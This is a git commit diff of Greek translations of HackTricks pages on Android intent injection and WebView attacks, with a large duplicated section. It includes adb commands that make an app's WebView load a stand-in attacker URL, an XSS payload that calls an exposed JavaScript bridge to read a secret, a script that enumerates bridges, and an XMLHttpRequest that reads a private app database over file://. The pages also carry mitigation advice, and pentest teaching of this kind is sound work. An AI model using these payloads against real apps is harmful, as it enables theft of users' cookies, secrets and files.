Translated ['src/mobile-pentesting/android-app-pentesting/intent-injecti

This commit is contained in:
Translator 2025-08-20 19:22:46 +00:00
parent cc208e2bd0
commit b5528bab26
2 changed files with 295 additions and 14 deletions

View File

@ -1,5 +1,64 @@
{{#include ../../banners/hacktricks-training.md}} # Intent Injection
**Ρίξτε μια ματιά στο: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)** {{#include ../../banners/hacktricks-training.md}}
Η ένεση Intent εκμεταλλεύεται στοιχεία που δέχονται Intents ή δεδομένα που ελέγχονται από τον επιτιθέμενο και στη συνέχεια μετατρέπονται σε Intents. Δύο πολύ κοινά μοτίβα κατά τη διάρκεια των pentests εφαρμογών Android είναι:
- Η αποστολή κατασκευασμένων extras σε εξαγόμενες Activities/Services/BroadcastReceivers που στη συνέχεια προωθούνται σε προνομιούχες, μη εξαγόμενες συνιστώσες.
- Η ενεργοποίηση εξαγόμενων VIEW/BROWSABLE deep links που προωθούν URLs ελεγχόμενα από τον επιτιθέμενο σε εσωτερικά WebViews ή άλλες ευαίσθητες πηγές.
## Deep links → WebView sink (εισαγωγή παραμέτρου URL)
Αν μια εφαρμογή εκθέτει ένα deep link με προσαρμοσμένο σχήμα όπως:
```text
myscheme://com.example.app/web?url=<attacker_url>
```
και η Activity που λαμβάνει προωθεί την παράμετρο ερωτήματος `url` σε ένα WebView, μπορείτε να αναγκάσετε την εφαρμογή να αποδώσει αυθαίρετο απομακρυσμένο περιεχόμενο στο δικό της πλαίσιο WebView.
PoC μέσω adb:
```bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impact
- HTML/JS εκτελείται μέσα στο προφίλ WebView της εφαρμογής.
- Εάν το JavaScript είναι ενεργοποιημένο (κατά προεπιλογή ή λόγω λανθασμένων ελέγχων), μπορείτε να απαριθμήσετε/χρησιμοποιήσετε οποιαδήποτε εκτεθειμένα `@JavascriptInterface` αντικείμενα, να κλέψετε τα cookies/local storage του WebView και να κάνετε pivot.
See also:
{{#ref}}
webview-attacks.md
{{#endref}}
## Bug σειράς ελέγχων που ενεργοποιεί το JavaScript
Ένα επαναλαμβανόμενο bug είναι η ενεργοποίηση του JavaScript (ή άλλων επιτρεπτικών ρυθμίσεων WebView) πριν ολοκληρωθεί η τελική λίστα επιτρεπόμενων URL/επαλήθευση. Εάν οι πρώιμοι helpers αποδεχτούν το deep link σας και το WebView είναι ρυθμισμένο πρώτα, η τελική φόρτωσή σας συμβαίνει με το JavaScript ήδη ενεργοποιημένο, ακόμη και αν οι αργότεροι έλεγχοι είναι ελαττωματικοί ή πολύ αργά.
Τι να αναζητήσετε στον αποσυμπιεσμένο κώδικα:
- Πολλοί helpers που αναλύουν/διαχωρίζουν/αναδομούν το URL διαφορετικά (ασυνεπής κανονικοποίηση).
- Κλήσεις προς `getSettings().setJavaScriptEnabled(true)` πριν από τον τελευταίο έλεγχο λίστας επιτρεπόμενων host/path.
- Μια ροή εργασίας όπως: parse → μερική επαλήθευση → ρύθμιση WebView → τελική επαλήθευση → loadUrl.
Mitigations
- Κανονικοποιήστε μία φορά και επαληθεύστε αυστηρά; αποτύχετε κλειστά.
- Ενεργοποιήστε το JavaScript μόνο μετά την επιτυχία όλων των ελέγχων και ακριβώς πριν από τη φόρτωση αξιόπιστου περιεχομένου.
- Αποφύγετε την έκθεση γεφυρών σε μη αξιόπιστες προελεύσεις.
## Άλλες κλασικές πρωτογενείς επιθέσεις Intent injection
- startActivity/sendBroadcast χρησιμοποιώντας extras `Intent` που παρέχονται από τον επιτιθέμενο και αναλύονται ξανά (`Intent.parseUri(...)`) και εκτελούνται.
- Εξαγόμενα proxy components που προωθούν Intents σε μη εξαγόμενα ευαίσθητα components χωρίς ελέγχους άδειας.
## References
- [Android Access to app-protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Ireland 2024 Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Οδηγός για τις Ρυθμίσεις και την Ασφάλεια του WebView ## Οδηγός για τις Ρυθμίσεις και την Ασφάλεια του WebView
### Επισκόπηση των Ευπαθειών του WebView ### Επισκόπηση Ευπαθειών του WebView
Ένας κρίσιμος τομέας της ανάπτυξης Android περιλαμβάνει τη σωστή διαχείριση των WebViews. Αυτός ο οδηγός επισημαίνει βασικές ρυθμίσεις και πρακτικές ασφάλειας για τη μείωση των κινδύνων που σχετίζονται με τη χρήση του WebView. Ένας κρίσιμος τομέας της ανάπτυξης Android περιλαμβάνει τη σωστή διαχείριση των WebViews. Αυτός ο οδηγός επισημαίνει βασικές ρυθμίσεις και πρακτικές ασφάλειας για τη μείωση των κινδύνων που σχετίζονται με τη χρήση του WebView.
@ -39,12 +39,12 @@
```java ```java
webview.loadUrl("<url here>") webview.loadUrl("<url here>")
``` ```
Φυσικά, ένας πιθανός επιτιθέμενος δεν θα πρέπει ποτέ να μπορεί να **ελέγξει το URL** που θα φορτώσει μια εφαρμογή. Ofc, ένας πιθανός επιτιθέμενος δεν θα πρέπει ποτέ να μπορεί να **ελέγξει το URL** που θα φορτώσει μια εφαρμογή.
### **JavaScript και Διαχείριση Σχεδίου Intent** ### **JavaScript και Διαχείριση Σχεδίου Intent**
- **JavaScript**: Απενεργοποιημένο από προεπιλογή στα WebViews, μπορεί να ενεργοποιηθεί μέσω του `setJavaScriptEnabled()`. Συνιστάται προσοχή καθώς η ενεργοποίηση του JavaScript χωρίς κατάλληλες προστασίες μπορεί να εισάγει ευπάθειες ασφαλείας. - **JavaScript**: Απενεργοποιημένο από προεπιλογή σε WebViews, μπορεί να ενεργοποιηθεί μέσω του `setJavaScriptEnabled()`. Συνιστάται προσοχή καθώς η ενεργοποίηση του JavaScript χωρίς κατάλληλες προστασίες μπορεί να εισάγει ευπάθειες ασφαλείας.
- **Σχέδιο Intent**: Τα WebViews μπορούν να διαχειριστούν το σχέδιο `intent`, ενδεχομένως οδηγώντας σε εκμεταλλεύσεις αν δεν διαχειριστούν προσεκτικά. Ένα παράδειγμα ευπάθειας περιλάμβανε μια εκτεθειμένη παράμετρο WebView "support_url" που θα μπορούσε να εκμεταλλευτεί για την εκτέλεση επιθέσεων cross-site scripting (XSS). - **Σχέδιο Intent**: Τα WebViews μπορούν να διαχειριστούν το σχέδιο `intent`, ενδεχομένως οδηγώντας σε εκμεταλλεύσεις αν δεν διαχειριστούν προσεκτικά. Ένα παράδειγμα ευπάθειας περιλάμβανε μια εκτεθειμένη παράμετρο WebView "support_url" που θα μπορούσε να εκμεταλλευτεί για να εκτελέσει επιθέσεις cross-site scripting (XSS).
![Vulnerable WebView](<../../images/image (1191).png>) ![Vulnerable WebView](<../../images/image (1191).png>)
@ -60,7 +60,7 @@ adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url
#### Implementing a JavaScript Bridge #### Implementing a JavaScript Bridge
- **JavaScript interfaces** μπορούν να αλληλεπιδρούν με τον εγγενή κώδικα, όπως φαίνεται στα παραδείγματα όπου μια μέθοδος κλάσης εκτίθεται στο JavaScript: - **JavaScript interfaces** μπορούν να αλληλεπιδρούν με εγγενή κώδικα, όπως φαίνεται στα παραδείγματα όπου μια μέθοδος κλάσης εκτίθεται στο JavaScript:
```javascript ```javascript
@JavascriptInterface @JavascriptInterface
public String getSecret() { public String getSecret() {
@ -72,7 +72,226 @@ return "SuperSecretPassword";
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge") webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload() webView.reload()
``` ```
- Πιθανή εκμετάλλευση μέσω JavaScript, για παράδειγμα, μέσω μιας επίθεσης XSS, επιτρέπει την κλήση εκτεθειμένων Java μεθόδων: - Πιθανή εκμετάλλευση μέσω JavaScript, για παράδειγμα, μέσω μιας επίθεσης XSS, επιτρέπει την κλήση εκτεθειμένων μεθόδων Java:
```html
<script>
alert(javascriptBridge.getSecret())
</script>
```
- Για να μετριαστούν οι κίνδυνοι, **περιορίστε τη χρήση της γέφυρας JavaScript** στον κώδικα που αποστέλλεται με το APK και αποτρέψτε τη φόρτωση JavaScript από απομακρυσμένες πηγές. Για παλαιότερες συσκευές, ορίστε το ελάχιστο επίπεδο API σε 17.
### Εκτέλεση Κώδικα μέσω Αντανάκλασης (RCE)
- Μια τεκμηριωμένη μέθοδος επιτρέπει την επίτευξη RCE μέσω αντανάκλασης εκτελώντας ένα συγκεκριμένο payload. Ωστόσο, η αναγνώριση `@JavascriptInterface` αποτρέπει την μη εξουσιοδοτημένη πρόσβαση σε μεθόδους, περιορίζοντας την επιφάνεια επίθεσης.
### Απομακρυσμένη Εντοπισμός Σφαλμάτων
- **Απομακρυσμένος εντοπισμός σφαλμάτων** είναι δυνατός με τα **Chrome Developer Tools**, επιτρέποντας την αλληλεπίδραση και την αυθαίρετη εκτέλεση JavaScript μέσα στο περιεχόμενο του WebView.
#### Ενεργοποίηση Απομακρυσμένου Εντοπισμού Σφαλμάτων
- Ο απομακρυσμένος εντοπισμός σφαλμάτων μπορεί να ενεργοποιηθεί για όλα τα WebViews εντός μιας εφαρμογής με:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
- Για να ενεργοποιήσετε την αποσφαλμάτωση με βάση την κατάσταση αποσφαλμάτωσης της εφαρμογής:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Εξαγωγή αυθαίρετων αρχείων
- Δείχνει την εξαγωγή αυθαίρετων αρχείων χρησιμοποιώντας ένα XMLHttpRequest:
```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
```
# Webview Attacks
## Οδηγός για τις Ρυθμίσεις και την Ασφάλεια του WebView
### Επισκόπηση των Ευπαθειών του WebView
Ένας κρίσιμος τομέας της ανάπτυξης Android περιλαμβάνει τη σωστή διαχείριση των WebViews. Αυτός ο οδηγός επισημαίνει βασικές ρυθμίσεις και πρακτικές ασφάλειας για τη μείωση των κινδύνων που σχετίζονται με τη χρήση του WebView.
![WebView Example](<../../images/image (1190).png>)
### **Πρόσβαση σε Αρχεία στα WebViews**
Από προεπιλογή, τα WebViews επιτρέπουν την πρόσβαση σε αρχεία. Αυτή η λειτουργία ελέγχεται από τη μέθοδο `setAllowFileAccess()`, διαθέσιμη από το επίπεδο API 3 (Cupcake 1.5) του Android. Οι εφαρμογές με την άδεια **android.permission.READ_EXTERNAL_STORAGE** μπορούν να διαβάζουν αρχεία από εξωτερική αποθήκευση χρησιμοποιώντας ένα σχήμα URL αρχείου (`file://path/to/file`).
#### **Καταργημένες Λειτουργίες: Καθολική και Πρόσβαση σε Αρχεία Από URLs**
- **Καθολική Πρόσβαση Από URLs Αρχείων**: Αυτή η καταργημένη λειτουργία επέτρεπε διασυνοριακά αιτήματα από URLs αρχείων, θέτοντας σημαντικό κίνδυνο ασφάλειας λόγω πιθανών επιθέσεων XSS. Η προεπιλεγμένη ρύθμιση είναι απενεργοποιημένη (`false`) για εφαρμογές που στοχεύουν το Android Jelly Bean και νεότερες εκδόσεις.
- Για να ελέγξετε αυτή τη ρύθμιση, χρησιμοποιήστε `getAllowUniversalAccessFromFileURLs()`.
- Για να τροποποιήσετε αυτή τη ρύθμιση, χρησιμοποιήστε `setAllowUniversalAccessFromFileURLs(boolean)`.
- **Πρόσβαση σε Αρχεία Από URLs Αρχείων**: Αυτή η λειτουργία, επίσης καταργημένη, ελέγχει την πρόσβαση σε περιεχόμενο από άλλα URLs σχήματος αρχείου. Όπως και η καθολική πρόσβαση, η προεπιλεγμένη ρύθμιση είναι απενεργοποιημένη για αυξημένη ασφάλεια.
- Χρησιμοποιήστε `getAllowFileAccessFromFileURLs()` για έλεγχο και `setAllowFileAccessFromFileURLs(boolean)` για ρύθμιση.
#### **Ασφαλής Φόρτωση Αρχείων**
Για την απενεργοποίηση της πρόσβασης στο σύστημα αρχείων ενώ εξακολουθείτε να έχετε πρόσβαση σε περιουσιακά στοιχεία και πόρους, χρησιμοποιείται η μέθοδος `setAllowFileAccess()`. Με το Android R και άνω, η προεπιλεγμένη ρύθμιση είναι `false`.
- Ελέγξτε με `getAllowFileAccess()`.
- Ενεργοποιήστε ή απενεργοποιήστε με `setAllowFileAccess(boolean)`.
#### **WebViewAssetLoader**
Η κλάση **WebViewAssetLoader** είναι η σύγχρονη προσέγγιση για τη φόρτωση τοπικών αρχείων. Χρησιμοποιεί http(s) URLs για την πρόσβαση σε τοπικά περιουσιακά στοιχεία και πόρους, ευθυγραμμισμένη με την πολιτική Same-Origin, διευκολύνοντας έτσι τη διαχείριση CORS.
### loadUrl
Αυτή είναι μια κοινή λειτουργία που χρησιμοποιείται για τη φόρτωση αυθαίρετων URLs σε ένα webview:
```java
webview.loadUrl("<url here>")
```
Φυσικά, ένας πιθανός επιτιθέμενος δεν θα πρέπει ποτέ να μπορεί να **ελέγξει το URL** που θα φορτώσει μια εφαρμογή.
### Deep-linking σε εσωτερικό WebView (προσαρμοσμένο σχήμα → WebView sink)
Πολλές εφαρμογές καταχωρούν προσαρμοσμένα σχήματα/διαδρομές που δρομολογούν ένα URL που παρέχεται από τον χρήστη σε ένα WebView εντός της εφαρμογής. Εάν το deep link είναι εξαγόμενο (VIEW + BROWSABLE), ένας επιτιθέμενος μπορεί να αναγκάσει την εφαρμογή να αποδώσει αυθαίρετο απομακρυσμένο περιεχόμενο μέσα στο πλαίσιο του WebView της.
Τυπικό μοτίβο manifest (απλοποιημένο):
```xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
```
Κοινή ροή κώδικα (απλοποιημένη):
```java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
```
Πρότυπο επίθεσης και PoC μέσω adb:
```bash
# Template force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impact: η απομακρυσμένη σελίδα εκτελείται στο πλαίσιο WebView της εφαρμογής (cookies/session του προφίλ WebView της εφαρμογής, πρόσβαση σε οποιοδήποτε εκτεθειμένο @JavascriptInterface, πιθανή πρόσβαση σε content:// και file:// ανάλογα με τις ρυθμίσεις).
Hunting tips:
- Grep decompiled sources for `getQueryParameter("url")`, `loadUrl(`, `WebView` sinks, και deep-link handlers (`onCreate/onNewIntent`).
- Ελέγξτε το manifest για VIEW+BROWSABLE φίλτρα και προσαρμοσμένα schemes/hosts που αντιστοιχούν σε δραστηριότητες που αργότερα ξεκινούν ένα WebView.
- Ελέγξτε αν υπάρχουν πολλαπλές διαδρομές deep-link (π.χ., μια διαδρομή “εξωτερικού προγράμματος περιήγησης” σε σύγκριση με μια διαδρομή “εσωτερικού webview”) και προτιμήστε αυτή που αποδίδει μέσα στην εφαρμογή.
### Enabling JavaScript before verification (order-of-checks bug)
Ένα συχνό λάθος σκληρύνσεως είναι η ενεργοποίηση της JavaScript ή η ρύθμιση χαλαρών ρυθμίσεων WebView πριν ολοκληρωθεί η τελική επιτρεπόμενη λίστα/επαλήθευση της στοχευμένης διεύθυνσης URL. Εάν η επαλήθευση είναι ασυνεπής μεταξύ των βοηθητικών προγραμμάτων ή συμβαίνει πολύ αργά, ένας επιτιθέμενος deep link μπορεί να φτάσει σε κατάσταση όπου:
1) Οι ρυθμίσεις WebView εφαρμόζονται (π.χ., `setJavaScriptEnabled(true)`), και
2) Η μη αξιόπιστη διεύθυνση URL φορτώνεται με ενεργοποιημένη την JavaScript.
Bug pattern (pseudocode):
```java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late JS already enabled
// 4) Load
webView.loadUrl(u.toString());
```
Γιατί είναι εκμεταλλεύσιμο
- Ασυνεπής κανονικοποίηση: οι βοηθοί διαχωρίζουν/ανακατασκευάζουν το URL διαφορετικά από την τελική έλεγχο, δημιουργώντας ασυμφωνίες που μπορεί να εκμεταλλευτεί ένα κακόβουλο URL.
- Λανθασμένη σειρά διαδικασίας: η ενεργοποίηση JS στο βήμα 2 εφαρμόζεται παγκοσμίως στην περίπτωση WebView, επηρεάζοντας τη τελική φόρτωση ακόμη και αν η επαλήθευση αποτύχει αργότερα.
Πώς να δοκιμάσετε
- Δημιουργήστε payloads deep-link που περνούν τους πρώτους ελέγχους και φτάνουν στην ιστοσελίδα διαμόρφωσης WebView.
- Χρησιμοποιήστε adb για να εκτοξεύσετε έμμεσες προθέσεις VIEW παραδίδοντας μια παράμετρο `url=` που ελέγχετε εσείς:
```bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Αν η εκμετάλλευση είναι επιτυχής, το payload σας εκτελεί JavaScript στο WebView της εφαρμογής. Από εκεί, ερευνήστε για εκτεθειμένες γέφυρες:
```html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
```
Αμυντική καθοδήγηση
- Κανονικοποιήστε μία φορά; επικυρώστε αυστηρά έναντι μιας μόνο πηγής αλήθειας (σχέδιο/οικοδεσπότης/μονοπάτι/ερώτημα).
- Καλέστε μόνο `setJavaScriptEnabled(true)` αφού περάσουν όλοι οι έλεγχοι επιτρεπόμενης λίστας και ακριβώς πριν από τη φόρτωση αξιόπιστου περιεχομένου.
- Αποφύγετε την έκθεση του `@JavascriptInterface` σε μη αξιόπιστες προελεύσεις; προτιμήστε τον έλεγχο ανά προέλευση.
- Σκεφτείτε τις περιπτώσεις ανά WebView για αξιόπιστο και μη αξιόπιστο περιεχόμενο, με το JS απενεργοποιημένο από προεπιλογή.
### **Διαχείριση JavaScript και Σχεδίου Intent**
- **JavaScript**: Απενεργοποιημένο από προεπιλογή σε WebViews, μπορεί να ενεργοποιηθεί μέσω του `setJavaScriptEnabled()`. Συνιστάται προσοχή καθώς η ενεργοποίηση του JavaScript χωρίς κατάλληλες προστασίες μπορεί να εισαγάγει ευπάθειες ασφαλείας.
- **Σχέδιο Intent**: Οι WebViews μπορούν να χειριστούν το σχέδιο `intent`, ενδεχομένως οδηγώντας σε εκμεταλλεύσεις αν δεν διαχειριστούν προσεκτικά. Ένα παράδειγμα ευπάθειας περιλάμβανε μια εκτεθειμένη παράμετρο WebView "support_url" που θα μπορούσε να εκμεταλλευτεί για την εκτέλεση επιθέσεων cross-site scripting (XSS).
![Vulnerable WebView](<../../images/image (1191).png>)
Παράδειγμα εκμετάλλευσης χρησιμοποιώντας adb:
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
### Javascript Bridge
Μια δυνατότητα παρέχεται από το Android που επιτρέπει στο **JavaScript** σε ένα WebView να καλεί **λειτουργίες εγγενών εφαρμογών Android**. Αυτό επιτυγχάνεται με τη χρήση της μεθόδου `addJavascriptInterface`, η οποία ενσωματώνει το JavaScript με τις εγγενείς λειτουργίες του Android, που ονομάζεται _WebView JavaScript bridge_. Συνιστάται προσοχή καθώς αυτή η μέθοδος επιτρέπει σε όλες τις σελίδες εντός του WebView να έχουν πρόσβαση στο καταχωρημένο αντικείμενο JavaScript Interface, θέτοντας σε κίνδυνο την ασφάλεια αν ευαίσθητες πληροφορίες εκτεθούν μέσω αυτών των διεπαφών.
- **Απαιτείται ακραία προσοχή** για εφαρμογές που στοχεύουν σε εκδόσεις Android κάτω από 4.2 λόγω μιας ευπάθειας που επιτρέπει την απομακρυσμένη εκτέλεση κώδικα μέσω κακόβουλου JavaScript, εκμεταλλευόμενη την αντανάκλαση.
#### Implementing a JavaScript Bridge
- **JavaScript interfaces** μπορούν να αλληλεπιδρούν με εγγενή κώδικα, όπως φαίνεται στα παραδείγματα όπου μια μέθοδος κλάσης εκτίθεται στο JavaScript:
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
- Η γέφυρα JavaScript ενεργοποιείται προσθέτοντας μια διεπαφή στο WebView:
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
```
- Πιθανή εκμετάλλευση μέσω JavaScript, για παράδειγμα, μέσω μιας επίθεσης XSS, επιτρέπει την κλήση εκτεθειμένων μεθόδων Java:
```html ```html
<script> <script>
alert(javascriptBridge.getSecret()) alert(javascriptBridge.getSecret())
@ -122,10 +341,13 @@ xhr.send(null)
``` ```
## Αναφορές ## Αναφορές
- [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html) - [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
- [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android) - [WheresMyBrowser.Android (demo app)](https://github.com/authenticationfailure/WheresMyBrowser.Android)
- [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView) - [Android WebView reference](https://developer.android.com/reference/android/webkit/WebView)
- [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1) - [Deep Links & WebViews Exploitations Part II](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
- [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I) - [Deep Links & WebViews Exploitations Part I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Ireland 2024 Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}